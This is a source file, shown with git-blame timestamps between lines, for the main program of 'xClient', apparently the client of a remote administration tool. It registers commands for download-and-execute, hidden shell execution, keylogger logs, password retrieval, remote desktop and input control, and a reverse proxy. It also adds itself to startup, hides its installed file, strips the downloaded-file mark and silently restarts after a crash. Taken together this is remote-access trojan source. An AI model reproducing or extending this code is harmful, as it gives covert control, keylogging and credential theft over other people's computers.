2015-01-13 10:29:11 -08:00
|
|
|
|
using System;
|
2015-05-31 10:22:00 -07:00
|
|
|
|
using System.Diagnostics;
|
2014-07-08 05:58:53 -07:00
|
|
|
|
using System.IO;
|
|
|
|
|
using System.Threading;
|
|
|
|
|
using System.Windows.Forms;
|
2015-01-13 10:29:11 -08:00
|
|
|
|
using xClient.Config;
|
|
|
|
|
using xClient.Core.Commands;
|
2015-09-01 06:16:27 -07:00
|
|
|
|
using xClient.Core.Cryptography;
|
2015-08-15 07:06:07 -07:00
|
|
|
|
using xClient.Core.Data;
|
2015-07-26 07:44:03 -07:00
|
|
|
|
using xClient.Core.Helper;
|
2015-08-24 10:34:38 -07:00
|
|
|
|
using xClient.Core.Installation;
|
2015-06-05 14:07:37 -07:00
|
|
|
|
using xClient.Core.Networking;
|
2015-01-13 10:29:11 -08:00
|
|
|
|
using xClient.Core.Packets;
|
2015-07-26 10:36:11 -07:00
|
|
|
|
using xClient.Core.Utilities;
|
2014-07-08 05:58:53 -07:00
|
|
|
|
|
2015-01-13 10:29:11 -08:00
|
|
|
|
namespace xClient
|
2014-07-08 05:58:53 -07:00
|
|
|
|
{
|
2015-04-21 11:27:52 -07:00
|
|
|
|
internal static class Program
|
2014-07-08 05:58:53 -07:00
|
|
|
|
{
|
2015-01-15 01:10:52 -08:00
|
|
|
|
public static Client ConnectClient;
|
|
|
|
|
private static bool _reconnect = true;
|
|
|
|
|
private static volatile bool _connected = false;
|
2015-05-23 05:09:55 -07:00
|
|
|
|
private static ApplicationContext _msgLoop;
|
2015-08-03 08:33:50 -07:00
|
|
|
|
private static HostsManager _hosts;
|
2014-07-08 05:58:53 -07:00
|
|
|
|
|
2015-01-13 10:29:11 -08:00
|
|
|
|
[STAThread]
|
|
|
|
|
private static void Main(string[] args)
|
2014-07-08 05:58:53 -07:00
|
|
|
|
{
|
2015-01-13 10:29:11 -08:00
|
|
|
|
Application.EnableVisualStyles();
|
|
|
|
|
Application.SetCompatibleTextRenderingDefault(false);
|
2015-09-05 13:25:57 -07:00
|
|
|
|
AppDomain.CurrentDomain.UnhandledException += HandleUnhandledException;
|
2015-03-17 09:22:42 -07:00
|
|
|
|
|
2015-01-13 10:29:11 -08:00
|
|
|
|
Settings.Initialize();
|
|
|
|
|
Initialize();
|
2015-08-24 10:34:38 -07:00
|
|
|
|
if (!ClientData.Disconnect)
|
2015-01-13 10:29:11 -08:00
|
|
|
|
Connect();
|
2014-07-08 05:58:53 -07:00
|
|
|
|
|
2015-03-17 09:22:42 -07:00
|
|
|
|
Cleanup();
|
|
|
|
|
}
|
|
|
|
|
|
2015-09-05 13:25:57 -07:00
|
|
|
|
private static void HandleUnhandledException(object sender, UnhandledExceptionEventArgs e)
|
|
|
|
|
{
|
|
|
|
|
if (e.IsTerminating)
|
|
|
|
|
{
|
|
|
|
|
string batchFile = FileHelper.CreateRestartBatch();
|
|
|
|
|
if (string.IsNullOrEmpty(batchFile)) return;
|
|
|
|
|
|
|
|
|
|
ProcessStartInfo startInfo = new ProcessStartInfo
|
|
|
|
|
{
|
|
|
|
|
WindowStyle = ProcessWindowStyle.Hidden,
|
|
|
|
|
UseShellExecute = true,
|
|
|
|
|
FileName = batchFile
|
|
|
|
|
};
|
|
|
|
|
Process.Start(startInfo);
|
|
|
|
|
Environment.Exit(0);
|
|
|
|
|
}
|
|
|
|
|
}
|
|
|
|
|
|
2015-03-17 09:22:42 -07:00
|
|
|
|
private static void Cleanup()
|
|
|
|
|
{
|
2015-01-13 10:29:11 -08:00
|
|
|
|
CommandHandler.CloseShell();
|
2015-07-25 15:10:59 -07:00
|
|
|
|
if (CommandHandler.StreamCodec != null)
|
|
|
|
|
CommandHandler.StreamCodec.Dispose();
|
2015-07-26 10:36:11 -07:00
|
|
|
|
if (Keylogger.Instance != null)
|
|
|
|
|
Keylogger.Instance.Dispose();
|
2015-05-23 05:24:31 -07:00
|
|
|
|
if (_msgLoop != null)
|
|
|
|
|
_msgLoop.ExitThread();
|
2015-08-24 10:34:38 -07:00
|
|
|
|
MutexHelper.CloseMutex();
|
2014-07-08 05:58:53 -07:00
|
|
|
|
}
|
|
|
|
|
|
2015-02-24 03:13:04 -08:00
|
|
|
|
private static void InitializeClient()
|
|
|
|
|
{
|
2015-03-31 09:15:48 -07:00
|
|
|
|
ConnectClient = new Client();
|
2015-02-24 03:13:04 -08:00
|
|
|
|
|
2015-08-08 07:21:09 -07:00
|
|
|
|
ConnectClient.AddTypesToSerializer(new Type[]
|
2015-04-21 11:27:52 -07:00
|
|
|
|
{
|
2015-07-14 10:00:31 -07:00
|
|
|
|
typeof (Core.Packets.ServerPackets.GetAuthentication),
|
|
|
|
|
typeof (Core.Packets.ServerPackets.DoClientDisconnect),
|
|
|
|
|
typeof (Core.Packets.ServerPackets.DoClientReconnect),
|
|
|
|
|
typeof (Core.Packets.ServerPackets.DoClientUninstall),
|
|
|
|
|
typeof (Core.Packets.ServerPackets.DoDownloadAndExecute),
|
|
|
|
|
typeof (Core.Packets.ServerPackets.DoUploadAndExecute),
|
|
|
|
|
typeof (Core.Packets.ServerPackets.GetDesktop),
|
2015-04-21 11:27:52 -07:00
|
|
|
|
typeof (Core.Packets.ServerPackets.GetProcesses),
|
2015-07-14 10:00:31 -07:00
|
|
|
|
typeof (Core.Packets.ServerPackets.DoProcessKill),
|
|
|
|
|
typeof (Core.Packets.ServerPackets.DoProcessStart),
|
|
|
|
|
typeof (Core.Packets.ServerPackets.GetDrives),
|
|
|
|
|
typeof (Core.Packets.ServerPackets.GetDirectory),
|
|
|
|
|
typeof (Core.Packets.ServerPackets.DoDownloadFile),
|
2015-07-27 06:57:05 -07:00
|
|
|
|
typeof (Core.Packets.ServerPackets.DoMouseEvent),
|
2015-07-29 06:11:07 -07:00
|
|
|
|
typeof (Core.Packets.ServerPackets.DoKeyboardEvent),
|
2015-04-21 11:27:52 -07:00
|
|
|
|
typeof (Core.Packets.ServerPackets.GetSystemInfo),
|
2015-07-14 10:00:31 -07:00
|
|
|
|
typeof (Core.Packets.ServerPackets.DoVisitWebsite),
|
|
|
|
|
typeof (Core.Packets.ServerPackets.DoShowMessageBox),
|
|
|
|
|
typeof (Core.Packets.ServerPackets.DoClientUpdate),
|
|
|
|
|
typeof (Core.Packets.ServerPackets.GetMonitors),
|
|
|
|
|
typeof (Core.Packets.ServerPackets.DoShellExecute),
|
|
|
|
|
typeof (Core.Packets.ServerPackets.DoPathRename),
|
|
|
|
|
typeof (Core.Packets.ServerPackets.DoPathDelete),
|
|
|
|
|
typeof (Core.Packets.ServerPackets.DoShutdownAction),
|
2015-04-21 11:27:52 -07:00
|
|
|
|
typeof (Core.Packets.ServerPackets.GetStartupItems),
|
2015-07-14 10:00:31 -07:00
|
|
|
|
typeof (Core.Packets.ServerPackets.DoStartupItemAdd),
|
|
|
|
|
typeof (Core.Packets.ServerPackets.DoStartupItemRemove),
|
|
|
|
|
typeof (Core.Packets.ServerPackets.DoDownloadFileCancel),
|
|
|
|
|
typeof (Core.Packets.ServerPackets.GetKeyloggerLogs),
|
2015-07-24 06:46:11 -07:00
|
|
|
|
typeof (Core.Packets.ServerPackets.DoUploadFile),
|
2015-08-06 10:58:36 -07:00
|
|
|
|
typeof (Core.Packets.ServerPackets.GetPasswords),
|
2015-08-26 01:45:53 -07:00
|
|
|
|
typeof (Core.Packets.ServerPackets.SetAuthenticationSuccess),
|
2015-07-14 10:00:31 -07:00
|
|
|
|
typeof (Core.Packets.ClientPackets.GetAuthenticationResponse),
|
|
|
|
|
typeof (Core.Packets.ClientPackets.SetStatus),
|
2015-08-06 10:58:36 -07:00
|
|
|
|
typeof (Core.Packets.ClientPackets.SetStatusFileManager),
|
2015-07-14 10:00:31 -07:00
|
|
|
|
typeof (Core.Packets.ClientPackets.SetUserStatus),
|
|
|
|
|
typeof (Core.Packets.ClientPackets.GetDesktopResponse),
|
2015-04-21 11:27:52 -07:00
|
|
|
|
typeof (Core.Packets.ClientPackets.GetProcessesResponse),
|
2015-07-14 10:00:31 -07:00
|
|
|
|
typeof (Core.Packets.ClientPackets.GetDrivesResponse),
|
|
|
|
|
typeof (Core.Packets.ClientPackets.GetDirectoryResponse),
|
|
|
|
|
typeof (Core.Packets.ClientPackets.DoDownloadFileResponse),
|
2015-04-21 11:27:52 -07:00
|
|
|
|
typeof (Core.Packets.ClientPackets.GetSystemInfoResponse),
|
2015-07-14 10:00:31 -07:00
|
|
|
|
typeof (Core.Packets.ClientPackets.GetMonitorsResponse),
|
|
|
|
|
typeof (Core.Packets.ClientPackets.DoShellExecuteResponse),
|
2015-04-22 12:39:52 -07:00
|
|
|
|
typeof (Core.Packets.ClientPackets.GetStartupItemsResponse),
|
2015-07-14 10:00:31 -07:00
|
|
|
|
typeof (Core.Packets.ClientPackets.GetKeyloggerLogsResponse),
|
2015-08-02 11:04:58 -07:00
|
|
|
|
typeof (Core.Packets.ClientPackets.GetPasswordsResponse),
|
2015-05-10 10:02:10 -07:00
|
|
|
|
typeof (Core.ReverseProxy.Packets.ReverseProxyConnect),
|
|
|
|
|
typeof (Core.ReverseProxy.Packets.ReverseProxyConnectResponse),
|
|
|
|
|
typeof (Core.ReverseProxy.Packets.ReverseProxyData),
|
|
|
|
|
typeof (Core.ReverseProxy.Packets.ReverseProxyDisconnect)
|
2015-02-24 03:13:04 -08:00
|
|
|
|
});
|
|
|
|
|
|
|
|
|
|
ConnectClient.ClientState += ClientState;
|
|
|
|
|
ConnectClient.ClientRead += ClientRead;
|
2015-05-31 10:22:00 -07:00
|
|
|
|
ConnectClient.ClientFail += ClientFail;
|
2015-02-24 03:13:04 -08:00
|
|
|
|
}
|
|
|
|
|
|
2015-01-13 10:29:11 -08:00
|
|
|
|
private static void Initialize()
|
2014-07-08 05:58:53 -07:00
|
|
|
|
{
|
2015-09-05 13:25:57 -07:00
|
|
|
|
_hosts = new HostsManager(HostHelper.GetHostsList(Settings.HOSTS));
|
|
|
|
|
|
|
|
|
|
// process with same mutex is already running
|
|
|
|
|
if (!MutexHelper.CreateMutex(Settings.MUTEX) || _hosts.IsEmpty) // no hosts to connect
|
|
|
|
|
ClientData.Disconnect = true;
|
2015-08-29 12:23:10 -07:00
|
|
|
|
|
|
|
|
|
if (ClientData.Disconnect)
|
|
|
|
|
return;
|
2014-07-08 05:58:53 -07:00
|
|
|
|
|
2015-08-02 03:17:31 -07:00
|
|
|
|
AES.PreHashKey(Settings.PASSWORD);
|
2015-08-24 10:34:38 -07:00
|
|
|
|
ClientData.InstallPath = Path.Combine(Settings.DIR, ((!string.IsNullOrEmpty(Settings.SUBFOLDER)) ? Settings.SUBFOLDER + @"\" : "") + Settings.INSTALLNAME);
|
2015-07-26 07:44:03 -07:00
|
|
|
|
GeoLocationHelper.Initialize();
|
2015-09-05 13:25:57 -07:00
|
|
|
|
|
2015-08-24 14:31:36 -07:00
|
|
|
|
FileHelper.DeleteZoneIdentifier(ClientData.CurrentPath);
|
|
|
|
|
|
2015-08-24 10:34:38 -07:00
|
|
|
|
if (!Settings.INSTALL || ClientData.CurrentPath == ClientData.InstallPath)
|
|
|
|
|
{
|
|
|
|
|
WindowsAccountHelper.StartUserIdleCheckThread();
|
2014-07-08 05:58:53 -07:00
|
|
|
|
|
2015-09-06 07:17:21 -07:00
|
|
|
|
if (Settings.STARTUP)
|
2015-05-26 09:28:15 -07:00
|
|
|
|
{
|
2015-08-24 10:34:38 -07:00
|
|
|
|
if (!Startup.AddToStartup())
|
|
|
|
|
ClientData.AddToStartupFailed = true;
|
2015-05-26 09:28:15 -07:00
|
|
|
|
}
|
|
|
|
|
|
2015-09-06 07:25:21 -07:00
|
|
|
|
if (Settings.INSTALL && Settings.HIDEFILE)
|
|
|
|
|
{
|
|
|
|
|
try
|
|
|
|
|
{
|
|
|
|
|
File.SetAttributes(ClientData.InstallPath, FileAttributes.Hidden);
|
|
|
|
|
}
|
|
|
|
|
catch (Exception)
|
|
|
|
|
{
|
|
|
|
|
}
|
|
|
|
|
}
|
|
|
|
|
|
2015-02-24 03:13:04 -08:00
|
|
|
|
InitializeClient();
|
2015-05-01 05:50:38 -07:00
|
|
|
|
|
|
|
|
|
if (Settings.ENABLELOGGER)
|
|
|
|
|
{
|
|
|
|
|
new Thread(() =>
|
|
|
|
|
{
|
2015-05-23 05:09:55 -07:00
|
|
|
|
_msgLoop = new ApplicationContext();
|
2015-07-26 10:36:11 -07:00
|
|
|
|
Keylogger logger = new Keylogger(15000);
|
2015-05-23 05:09:55 -07:00
|
|
|
|
Application.Run(_msgLoop);
|
2015-08-24 10:34:38 -07:00
|
|
|
|
}).Start();
|
2015-05-01 05:50:38 -07:00
|
|
|
|
}
|
2015-01-13 10:29:11 -08:00
|
|
|
|
}
|
|
|
|
|
else
|
|
|
|
|
{
|
2015-08-24 10:34:38 -07:00
|
|
|
|
MutexHelper.CloseMutex();
|
|
|
|
|
ClientInstaller.Install(ConnectClient);
|
2015-01-13 10:29:11 -08:00
|
|
|
|
}
|
|
|
|
|
}
|
2014-07-08 05:58:53 -07:00
|
|
|
|
|
2015-01-13 10:29:11 -08:00
|
|
|
|
private static void Connect()
|
2014-07-08 05:58:53 -07:00
|
|
|
|
{
|
2015-08-24 10:34:38 -07:00
|
|
|
|
while (_reconnect && !ClientData.Disconnect)
|
2015-06-20 01:10:53 -07:00
|
|
|
|
{
|
|
|
|
|
if (!_connected)
|
|
|
|
|
{
|
|
|
|
|
Thread.Sleep(100 + new Random().Next(0, 250));
|
2014-07-08 05:58:53 -07:00
|
|
|
|
|
2015-08-03 08:33:50 -07:00
|
|
|
|
Host host = _hosts.GetNextHost();
|
|
|
|
|
|
|
|
|
|
ConnectClient.Connect(host.Hostname, host.Port);
|
2014-07-08 05:58:53 -07:00
|
|
|
|
|
2015-06-20 01:10:53 -07:00
|
|
|
|
Thread.Sleep(200);
|
2014-07-08 05:58:53 -07:00
|
|
|
|
|
2015-06-20 01:10:53 -07:00
|
|
|
|
Application.DoEvents();
|
|
|
|
|
}
|
2014-07-08 05:58:53 -07:00
|
|
|
|
|
2015-06-20 01:10:53 -07:00
|
|
|
|
while (_connected) // hold client open
|
|
|
|
|
{
|
|
|
|
|
Application.DoEvents();
|
|
|
|
|
Thread.Sleep(2500);
|
|
|
|
|
}
|
2014-07-08 05:58:53 -07:00
|
|
|
|
|
2015-08-24 10:34:38 -07:00
|
|
|
|
if (ClientData.Disconnect)
|
2015-06-20 01:10:53 -07:00
|
|
|
|
{
|
|
|
|
|
ConnectClient.Disconnect();
|
|
|
|
|
return;
|
|
|
|
|
}
|
2014-07-08 05:58:53 -07:00
|
|
|
|
|
2015-06-20 01:10:53 -07:00
|
|
|
|
Thread.Sleep(Settings.RECONNECTDELAY + new Random().Next(250, 750));
|
2015-01-13 10:29:11 -08:00
|
|
|
|
}
|
2014-07-08 05:58:53 -07:00
|
|
|
|
}
|
2015-01-13 10:29:11 -08:00
|
|
|
|
|
2015-05-28 15:25:40 -07:00
|
|
|
|
public static void Disconnect(bool reconnect = false)
|
2014-07-17 14:22:59 -07:00
|
|
|
|
{
|
2015-05-04 07:46:34 -07:00
|
|
|
|
if (reconnect)
|
|
|
|
|
CommandHandler.CloseShell();
|
|
|
|
|
else
|
2015-08-24 10:34:38 -07:00
|
|
|
|
ClientData.Disconnect = true;
|
2015-05-04 07:46:34 -07:00
|
|
|
|
ConnectClient.Disconnect();
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
private static void LostConnection()
|
|
|
|
|
{
|
|
|
|
|
CommandHandler.CloseShell();
|
|
|
|
|
}
|
2015-01-13 10:29:11 -08:00
|
|
|
|
|
2015-05-04 07:46:34 -07:00
|
|
|
|
private static void ClientState(Client client, bool connected)
|
|
|
|
|
{
|
2015-08-26 01:45:53 -07:00
|
|
|
|
ClientData.IsAuthenticated = false;
|
|
|
|
|
|
2015-08-24 10:34:38 -07:00
|
|
|
|
if (connected && !ClientData.Disconnect)
|
2015-01-15 01:10:52 -08:00
|
|
|
|
_reconnect = true;
|
2015-08-24 10:34:38 -07:00
|
|
|
|
else if (!connected && ClientData.Disconnect)
|
2015-01-15 01:10:52 -08:00
|
|
|
|
_reconnect = false;
|
2015-01-13 10:29:11 -08:00
|
|
|
|
else
|
2015-08-24 10:34:38 -07:00
|
|
|
|
_reconnect = !ClientData.Disconnect;
|
2015-05-04 07:46:34 -07:00
|
|
|
|
|
2015-08-24 10:34:38 -07:00
|
|
|
|
if (_connected != connected && !connected && _reconnect && !ClientData.Disconnect)
|
2015-05-04 07:46:34 -07:00
|
|
|
|
LostConnection();
|
|
|
|
|
|
|
|
|
|
_connected = connected;
|
2014-07-17 14:22:59 -07:00
|
|
|
|
}
|
2015-01-13 10:29:11 -08:00
|
|
|
|
|
2015-01-15 01:10:52 -08:00
|
|
|
|
private static void ClientRead(Client client, IPacket packet)
|
2014-07-22 12:52:07 -07:00
|
|
|
|
{
|
2015-05-28 15:25:40 -07:00
|
|
|
|
PacketHandler.HandlePacket(client, packet);
|
2014-07-22 12:52:07 -07:00
|
|
|
|
}
|
2015-05-31 10:22:00 -07:00
|
|
|
|
|
|
|
|
|
private static void ClientFail(Client client, Exception ex)
|
|
|
|
|
{
|
|
|
|
|
Debug.WriteLine("Exception Message: " + ex.Message);
|
|
|
|
|
client.Disconnect();
|
|
|
|
|
}
|
2014-07-08 05:58:53 -07:00
|
|
|
|
}
|
2015-01-13 10:29:11 -08:00
|
|
|
|
}
|